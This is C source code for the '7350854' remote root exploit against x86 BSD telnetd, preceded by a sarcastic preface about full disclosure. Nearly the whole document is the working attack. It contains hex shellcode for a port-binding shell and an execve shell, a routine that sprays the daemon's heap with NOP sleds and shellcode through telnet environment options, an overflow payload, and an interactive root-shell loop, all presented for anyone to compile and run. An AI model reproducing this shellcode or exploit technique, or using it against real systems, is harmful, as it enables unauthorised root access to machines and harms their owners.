#ifdef DESPERATION Yes, this is the exploit. Yes, fully legal, straight from the authors, this time. No need to dwelve through archives or ask teenagers to hand it to you. Just plain and simple. For free. No need to worry about copyrights, privacy, about risk and results of your actions. No need to fear legal prosecution, denial of service attacks or some bad publicity. Just clean this time. Clean enough to right stick it into the archive. No need to violate something, your moral, your ethics or the rules you live by. They all stay away from the center of the storm, safely. I apologize to everyone I had asked not to disclose this and everyone who was offended by my postings. Also the ones that send me threatening emails. And those that pointed out my non conforming behaviour to me. I apologize. Yes, full disclosure works, Yes, this exploit helps everyone, Yes, I truly love everyone involved. Yes, dear pentester, take it and earn your living in the next pentest using this code. Enjoy how easy it was, without the need to understand, the need to know what is happening. Ah, relieving, quite fresh even. Tastes well, nearly as well as your fresh certificates. And you did not even pay for it, so there is more for certificates, right? Or buy your little children some new toy, for it was a hard time the last years, and you wish you would have more time for them, so show it to them. Yes, dear collector, this is an item not to miss. Be sure to get the tagged and broken versions too, for that your archive would be incomplete without. And who wants that, an incomplete archive. If you like archiving, you can do it all the time. Maybe someday you will have the archiving authority then, and can charge money for it. Or delay things for non paying customers. But be sure to copyright it, else some unethical person might steal your archive and nice compilation in which you have invested so many hours and investor capital. But I am sure you will manage this and for this I like you. Yes, dear moderator, as you read until now, I have to congratulate you to having improved your reading skills. Unbelieveable, I jump, enjoying your newly aquainted capabilities and wish you good luck in the future. After all, information wants to be free and the sooner one gets over it and apologizes, the more time is there to drive with the new car in this sunny days. Good work. Yes, dear blackhat, for that you are remaining calm and quiet. For that, I like you. You do not flame or provocate, you apply your wisdom after all. You do not advocate, and you have not caused me sleepless nights. That is something I truly like you for. Yes, dear whitehat, your shiny hat blends by enlightning silver colours and I truly understand what you want to give back with nobel goals. Your bright shining hat overtones all the unnecessary details and really points to the important things. This brightens the goal while it shades the rough way. Yes, dear script kiddie, I am sorry I caused so much trouble. Just compile it and start the fun, for that is what exploits are meant to be. And fun, it is not important to understand things there, its important to enjoy it, right? Yes, dear webmaster, we all like your sites and the content. Add this file to your content and do the humankind good. You have full legal permission to do so, no need to worry this time. No need to argue, ask or acknowledge. Yes, dear author of source code, you have my true respect. You truly made the internet what it is and I respect your true art of code. Yes, dear law, for that most of us respect you. You provide the framework for social life, for the basic forms of respect in todays commercial minded livings. Sometimes we hate you and sometimes we rely on you. Since you remain there everytime, it must be our fault. You cannot explain it, but I think I understand what you mean. Yes, now enjoy the exploit. No strings attached. #endif /* 7350854 - x86/bsd telnetd remote root exploit * * bug found by scut 2001/06/09 * further research by smiler, zip, lorian and me. * thanks to zip's cool friend for giving me a testbed to play on * * tested against: BSDI BSD/OS 4.1 * NetBSD 1.5 * FreeBSD 3.1 * FreeBSD 4.0-REL * FreeBSD 4.2-REL * FreeBSD 4.3-BETA * FreeBSD 4.3-STABLE * FreeBSD 4.3-RELEASE * */ #define VERSION "0.0.7" #include #include #include #include #include #include #include #include #include #include #include #include #include #include /* global variables, uhhohh! */ int mode = 16; int num = 245; int pop = 31500; /* puts code at 0x08fdff0a */ int bs = 1; /* buffer start */ int num34 = 244; int pop34 = 71833; /* puts code at 0x0a0d08fe */ int bs34 = 0; int walk; /* populator walker */ int force = 0; /* force exploitation */ int checkonly = 0; /* check telnetd only */ void usage (char *progname); int xp_check (int fd); void xp_pop (int fd); void xp_shrinkwin (int fd); void xp_setenv (int fd, unsigned char *var, unsigned char *val); void xp (int fd); void shell (int sock); void hexdump (char *desc, unsigned char *data, unsigned int amount); /* imported from shellkit */ unsigned long int random_get (unsigned long int low, unsigned long int high); void random_init (void); int bad (unsigned char u); int badstr (unsigned char *code, int code_len, unsigned char *bad, int bad_len); unsigned long int x86_nop_rwreg (void); unsigned long int x86_nop_xfer (char *xferstr); unsigned int x86_nop (unsigned char *dest, unsigned int dest_len, unsigned char *bad, int bad_len); #define BSET(dest, len, val, bw) { \ dest &= ~(((unsigned char) ~0) >> bw); /* clear lower bits */ \ dest |= val << (8 - bw - len); /* set value bits */ \ bw += len; \ } /* imported from network.c */ #define NET_CONNTIMEOUT 60 int net_conntimeout = NET_CONNTIMEOUT; unsigned long int net_resolve (char *host); int net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, int sec); /* x86/bsd PIC portshell shellcode * by lorian/teso * port 0x4444 (might want to change it here) */ unsigned char x86_bsd_portshell[] = "\x31\xdb\xf7\xe3\x53\x43\x53\x43\x53\xb0\x61\x53" "\xcd\x80\x96\x52\x66\x68\x44\x44\x66\x53\x89\xe5" /* ^^ ^^ port */ "\x6a\x10\x55\x56\x56\x6a\x68\x58\xcd\x80\xb0\x6a" "\xcd\x80\x60\xb0\x1e\xcd\x80\x53\x50\x50\xb0\x5a" "\xcd\x80\x4b\x79\xf6\x52\x89\xe3\x68\x6e\x2f\x73" "\x68\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xb0\x3b\xcd" "\x80"; /* x86/bsd PIC execve shellcode * by lorian/teso */ unsigned char x86_bsd_execvesh[] = "\x6a\x3b\x58\x99\x52\x89\xe3\x68\x6e\x2f\x73\x68" "\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xcd\x80"; /* x86/bsd(i)+solaris execve shellcode * by lorian/teso */ unsigned char x86_bsd_compaexec[] = "\xbf\xee\xee\xee\x08\xb8\xff\xf8\xff\x3c\xf7\xd0" "\xfd\xab\x31\xc0\x99\xb0\x9a\xab\xfc\xab\xb0\x3b" "\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89" "\xe3\x52\x53\x89\xe1\x52\x51\x53\xff\xd7"; unsigned char * shellcode = x86_bsd_compaexec; #define COL 55 void usage (char *progname) { fprintf (stderr, "usage: %s [-n ] [-c] [-f] \n\n", progname); fprintf (stderr, "-n num\tnumber of populators, for testing purposes\n" "-c\tcheck exploitability only, do not exploit\n" "-f\tforce mode, override check results\n\n"); fprintf (stderr, "WARNING: this is no easy exploit, we have to get things tightly aligned and\n" "send 16/34mb of traffic to the remote telnet daemon. it might not be able to\n" "take that, or it will take very long for it (> 1h). beware.\n\n"); fprintf (stderr, "tested:\tFreeBSD 3.1, 4.0-REL, 4.2-REL, 4.3-BETA, 4.3-STABLE, 4.3-RELEASE \n" "\tNetBSD 1.5\n" "\tBSDI BSD/OS 4.1\n\n"); exit (EXIT_FAILURE); } int main (int argc, char *argv[]) { char c; char * progname; char * dest; int i, j, fd, dots = 0; int popc; struct timeval start, cur; unsigned long long int g_pct, /* gaussian percentage */ g_all; /* gaussian overall */ fprintf (stderr, "7350854 - x86/bsd telnetd remote root\n" "by zip, lorian, smiler and scut.\n\n"); progname = argv[0]; if (argc < 2) usage (progname); while ((c = getopt (argc, argv, "n:cf")) != EOF) { switch (c) { case 'n': num = atoi (optarg); break; case 'c': checkonly = 1; break; case 'f': force = 1; break; default: usage (progname); break; } } dest = argv[argc - 1]; if (dest[0] == '-') usage (progname); fd = net_connect (NULL, dest, 23, 20); if (fd <= 0) { fprintf (stderr, "failed to connect\n"); exit (EXIT_FAILURE); } random_init (); if (xp_check (fd) == 0 && force == 0) { printf ("aborting\n"); #ifndef DEBUG exit (EXIT_FAILURE); #endif } close (fd); if (checkonly) exit (EXIT_SUCCESS); fd = net_connect (NULL, dest, 23, 20); if (fd <= 0) { fprintf (stderr, "failed to connect the second time\n"); exit (EXIT_FAILURE); } printf ("\n#############################################################################\n\n"); printf ("ok baby, times are rough, we send %dmb traffic to the remote\n" "telnet daemon process, it will spill badly. but then, there is no\n" "other way, sorry...\n\n", mode); #ifdef DEBUG getchar (); #endif printf ("## setting populators to populate heap address space\n"); g_all = ((unsigned long long int)(pop / 2)) * ((unsigned long long int)(pop + 1)); g_pct = 0; printf ("## number of setenvs (dots / network): %d\n", pop); printf ("## number of walks (percentage / cpu): %Lu\n", g_all); printf ("##\n"); printf ("## the percentage is more realistic than the dots ;)\n"); printf ("\n"); printf ("percent |"); popc = pop / COL; for (i = pop / popc ; i >= 0 ; --i) printf ("-"); printf ("| ETA |\n"); gettimeofday (&start, NULL); for (walk = 0 ; walk < pop ; ++walk) { xp_pop (fd); g_pct += walk; if (walk % popc == 0) dots += 1; if (walk % 200 == 0) { int pct; float pct_f; unsigned long int diff; pct = (int) ((g_pct * 100) / g_all); pct_f = g_pct * 100; pct_f /= (float) g_all; /* calculate difference not caring about accuracy */ gettimeofday (&cur, NULL); diff = cur.tv_sec - start.tv_sec; printf ((pct == 100) ? "\r%3.2f%% |" : ((pct / 10) ? "\r %2.2f%% |" : "\r %1.2f%% |"), pct_f); for (j = 0 ; j < dots ; ++j) printf ("."); for ( ; j <= COL ; ++j) printf (" "); if (pct != 0) { diff = (int) ((((float)(100 - pct_f)) / (float) pct_f) * diff); printf ("| %02lu:%02lu:%02lu |", diff / 3600, (diff % 3600) / 60, diff % 60); } else { printf ("| --:--:-- |"); } fflush (stdout); } } printf ("\n\n"); printf ("## sleeping for 10 seconds to let the process recover\n"); sleep (10); #ifdef DEBUG getchar (); #endif /* return into 0x08feff0a */ xp (fd); sleep (1); printf ("## ok, you should now have a root shell\n"); printf ("## as always, after hard times, there is a reward...\n"); printf ("\n\ncommand: "); fflush (stdout); shell (fd); exit (EXIT_SUCCESS); } void xp (int fd) { int n; unsigned char buf[2048]; /* basic overflow */ for (n = bs ; n < sizeof (buf) ; ++n) buf[n] = (n - bs) % 2 ? '\xf6' : '\xff'; /* some nifty alignment */ buf[0] = '\xff'; /* IAC */ buf[1] = '\xf5'; /* AO */ if (mode == 16) { buf[2] = '\xff'; /* IAC */ buf[3] = '\xfb'; /* WILL */ buf[4] = '\x26'; /* ENCRYPTION */ } /* force 0x08feff0a as return */ buf[num++] = '\xff'; buf[num++] = '\xfb'; buf[num++] = '\x08'; /* and the output_encrypt overwrite action, yay! */ buf[num++] = '\xff'; buf[num++] = '\xf6'; /* XXX: should not fail here, though we should better loop and check */ n = send (fd, buf, num, 0); if (n != num) { perror ("xp:send"); } } #ifdef INSANE_MIND void xp_shrinkwin (int fd) { int n; int iobc; int p = 0; unsigned char buf[2048]; char c; int val; int len; for (n = 0 ; n < sizeof (buf) ; ++n) buf[n] = n % 2 ? '\xf6' : '\xff'; len = sizeof (val); getsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, &len); printf ("SO_SNDLOWAT = %d\n", val); val = 1; printf ("setsockopt: %s\n", setsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, sizeof(val)) ? "FAILED" : "SUCCESS"); val = 1234; getsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, &len); printf ("SO_SNDLOWAT = %d\n", val); getchar(); while (1) { if (p > 105) c = getchar(); if (c == 'r') { getchar(); read (fd, &buf[1024], 384); } else if (c == 'o') { getchar(); send (fd, "7", 1, MSG_OOB); } else if (c != 'r') { usleep(100000); n = send (fd, buf, 112, 0); ioctl (fd, FIONREAD, &iobc); len = sizeof (val); getsockopt (fd, SOL_SOCKET, SO_RCVBUF, &val, &len); printf ("%02d. send: %d local: %d/%d (%d left)\n", ++p, n, iobc, val, val - iobc); } } } #endif /* xp_pop - populator function * * causes remote telnet daemon to setenv() variables with our content, populating * the heap with shellcode. this will get us more nopspace and place our shellcode * where the nice addresses are, that we can create by writing telnet option * strings. * * XXX: there seems to be a maximum size for the environment value you can set, * which is 510. we use 496 bytes for nopspace and shellcode therefore. * should work, rather similar to tsig tcp/malloc exploitation. -sc */ void xp_pop (int fd) { unsigned char var[16]; unsigned char storebuf[496]; sprintf (var, "%06x", walk); #ifdef DEBUG memset (storebuf, '\xcc', sizeof (storebuf)); #else /* memset (storebuf, '\x90', sizeof (storebuf)); */ x86_nop (storebuf, sizeof (storebuf), "\x00\x01\x02\x03\xff", 5); memcpy (storebuf + sizeof (storebuf) - strlen (shellcode) - 1, shellcode, strlen (shellcode)); #endif storebuf[sizeof (storebuf) - 1] = '\0'; xp_setenv (fd, var, storebuf); } void xp_setenv (int fd, unsigned char *var, unsigned char *val) { int n = 0; unsigned char buf[2048]; buf[n++] = IAC; buf[n++] = SB; buf[n++] = TELOPT_NEW_ENVIRON; buf[n++] = TELQUAL_IS; buf[n++] = ENV_USERVAR; /* should not contain < 0x04 */ while (*var) { if (*var == IAC) buf[n++] = *var; buf[n++] = *var++; } buf[n++] = NEW_ENV_VALUE; while (*val) { if (*val == IAC) buf[n++] = *val; buf[n++] = *val++; } buf[n++] = IAC; buf[n++] = SE; if (send (fd, buf, n, 0) != n) { perror ("xp_setenv:send"); exit (EXIT_FAILURE); } } int xp_check (int fd) { int n; unsigned int expect_len = 15; unsigned char expected[] = "\x0d\x0a\x5b\x59\x65\x73\x5d\x0d\x0a\xff\xfe\x08\xff\xfd\x26"; /* \r \n [ Y e s ] \r \n IAC DONT 08 IAC DO 26*/ unsigned int additional_len = 8; unsigned char additional[] = "\xff\xfa\x26\x01\x01\x02\xff\xf0"; /*IAC SB ENC ........... IAC SE */ unsigned char buf[128]; read (fd, buf, sizeof (buf)); n = 0; buf[n++] = IAC; /* 0xff */ buf[n++] = AYT; /* 0xf6 */ buf[n++] = IAC; /* 0xff */ buf[n++] = WILL; /* 0xfb */ buf[n++] = TELOPT_NAOL; /* 0x08 */ buf[n++] = IAC; /* 0xff */ buf[n++] = WILL; /* 0xfb */ buf[n++] = TELOPT_ENCRYPT; /* 0x26 */ #ifdef DEBUG hexdump ("check send buffer", buf, n); #endif if (send (fd, buf, n, 0) != n) { perror ("xp_check:send"); exit (EXIT_FAILURE); } n = read (fd, buf, sizeof (buf)); #ifdef DEBUG hexdump ("check recv buffer", buf, n); #endif if (memcmp (buf, expected, expect_len) == 0) { if (memcmp (buf+expect_len, additional, additional_len) == 0) { mode = 16; } else { mode = 34; bs = bs34; } printf ("check: PASSED, using %dmb mode\n", mode); return (1); } printf ("check: FAILED\n"); return (0); } void shell (int sock) { int l; char buf[512]; fd_set rfds; while (1) { FD_SET (0, &rfds); FD_SET (sock, &rfds); select (sock + 1, &rfds, NULL, NULL, NULL); if (FD_ISSET (0, &rfds)) { l = read (0, buf, sizeof (buf)); if (l <= 0) { perror ("read user"); exit (EXIT_FAILURE); } write (sock, buf, l); } if (FD_ISSET (sock, &rfds)) { l = read (sock, buf, sizeof (buf)); if (l <= 0) { perror ("read remote"); exit (EXIT_FAILURE); } write (1, buf, l); } } } /* ripped from zodiac */ void hexdump (char *desc, unsigned char *data, unsigned int amount) { unsigned int dp, p; /* data pointer */ const char trans[] = "................................ !\"#$%&'()*+,-./0123456789" ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm" "nopqrstuvwxyz{|}~...................................." "....................................................." "........................................"; printf ("/* %s, %u bytes */\n", desc, amount); for (dp = 1; dp <= amount; dp++) { fprintf (stderr, "%02x ", data[dp-1]); if ((dp % 8) == 0) fprintf (stderr, " "); if ((dp % 16) == 0) { fprintf (stderr, "| "); p = dp; for (dp -= 16; dp < p; dp++) fprintf (stderr, "%c", trans[data[dp]]); fflush (stderr); fprintf (stderr, "\n"); } fflush (stderr); } if ((amount % 16) != 0) { p = dp = 16 - (amount % 16); for (dp = p; dp > 0; dp--) { fprintf (stderr, " "); if (((dp % 8) == 0) && (p != 8)) fprintf (stderr, " "); fflush (stderr); } fprintf (stderr, " | "); for (dp = (amount - (16 - p)); dp < amount; dp++) fprintf (stderr, "%c", trans[data[dp]]); fflush (stderr); } fprintf (stderr, "\n"); return; } unsigned long int net_resolve (char *host) { long i; struct hostent *he; i = inet_addr(host); if (i == -1) { he = gethostbyname(host); if (he == NULL) { return (0); } else { return (*(unsigned long *) he->h_addr); } } return (i); } int net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, int sec) { int n, len, error, flags; int fd; struct timeval tv; fd_set rset, wset; struct sockaddr_in csa; if (cs == NULL) cs = &csa; /* first allocate a socket */ cs->sin_family = AF_INET; cs->sin_port = htons (port); fd = socket (cs->sin_family, SOCK_STREAM, 0); if (fd == -1) return (-1); if (!(cs->sin_addr.s_addr = net_resolve (server))) { close (fd); return (-1); } flags = fcntl (fd, F_GETFL, 0); if (flags == -1) { close (fd); return (-1); } n = fcntl (fd, F_SETFL, flags | O_NONBLOCK); if (n == -1) { close (fd); return (-1); } error = 0; n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in)); if (n < 0) { if (errno != EINPROGRESS) { close (fd); return (-1); } } if (n == 0) goto done; FD_ZERO(&rset); FD_ZERO(&wset); FD_SET(fd, &rset); FD_SET(fd, &wset); tv.tv_sec = sec; tv.tv_usec = 0; n = select(fd + 1, &rset, &wset, NULL, &tv); if (n == 0) { close(fd); errno = ETIMEDOUT; return (-1); } if (n == -1) return (-1); if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) { if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) { len = sizeof(error); if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) { errno = ETIMEDOUT; return (-1); } if (error == 0) { goto done; } else { errno = error; return (-1); } } } else return (-1); done: n = fcntl(fd, F_SETFL, flags); if (n == -1) return (-1); return (fd); } /* imported from shellkit */ unsigned long int random_get (unsigned long int low, unsigned long int high) { unsigned long int val; if (low > high) { low ^= high; high ^= low; low ^= high; } val = (unsigned long int) random (); val %= (high - low); val += low; return (val); } void random_init (void) { srandom (time (NULL)); } int bad (unsigned char u) { if (u == '\x00' || u == '\x0a' || u == '\x0d' || u == '\x25') return (1); return (0); } int badstr (unsigned char *code, int code_len, unsigned char *bad, int bad_len) { int n; for (code_len -= 1 ; code_len >= 0 ; --code_len) { for (n = 0 ; n < bad_len ; ++n) if (code[code_len] == bad[n]) return (1); } return (0); } unsigned long int x86_nop_rwreg (void) { unsigned long int reg; do { reg = random_get (0, 7); } while (reg == 4); /* 4 = $esp */ return (reg); } unsigned long int x86_nop_xfer (char *xferstr) { int bw = 0; /* bitfield walker */ unsigned char tgt; /* resulting instruction */ /* in a valid xferstr we trust */ for (tgt = 0 ; xferstr != NULL && xferstr[0] != '\0' ; ++xferstr) { switch (xferstr[0]) { case ('0'): BSET (tgt, 1, 0, bw); break; case ('1'): BSET (tgt, 1, 1, bw); break; case ('r'): BSET (tgt, 3, x86_nop_rwreg (), bw); break; case ('.'): break; /* ignore */ default: fprintf (stderr, "on steroids, huh?\n"); exit (EXIT_FAILURE); break; } } if (bw != 8) { fprintf (stderr, "invalid bitwalker: bw = %d\n", bw); exit (EXIT_FAILURE); } return (tgt); } unsigned int x86_nop (unsigned char *dest, unsigned int dest_len, unsigned char *bad, int bad_len) { int walk; int bcount; /* bad counter */ char * xs; char * xferstr[] = { "0011.0111", /* aaa */ "0011.1111", /* aas */ "1001.1000", /* cbw */ "1001.1001", /* cdq */ "1111.1000", /* clc */ "1111.1100", /* cld */ "1111.0101", /* cmc */ "0010.0111", /* daa */ "0010.1111", /* das */ "0100.1r", /* dec */ "0100.0r", /* inc */ "1001.1111", /* lahf */ "1001.0000", /* nop */ "1111.1001", /* stc */ "1111.1101", /* std */ "1001.0r", /* xchg al, */ NULL, }; unsigned char tgt; for (walk = 0 ; dest_len > 0 ; dest_len -= 1 , walk += 1) { /* avoid endless loops on excessive badlisting */ for (bcount = 0 ; bcount < 16384 ; ++bcount) { xs = xferstr[random_get (0, 15)]; tgt = x86_nop_xfer (xs); dest[walk] = tgt; if (badstr (&dest[walk], 1, bad, bad_len) == 0) break; } /* should not happen */ if (bcount >= 16384) { fprintf (stderr, "too much blacklisting, giving up...\n"); exit (EXIT_FAILURE); } } return (walk); }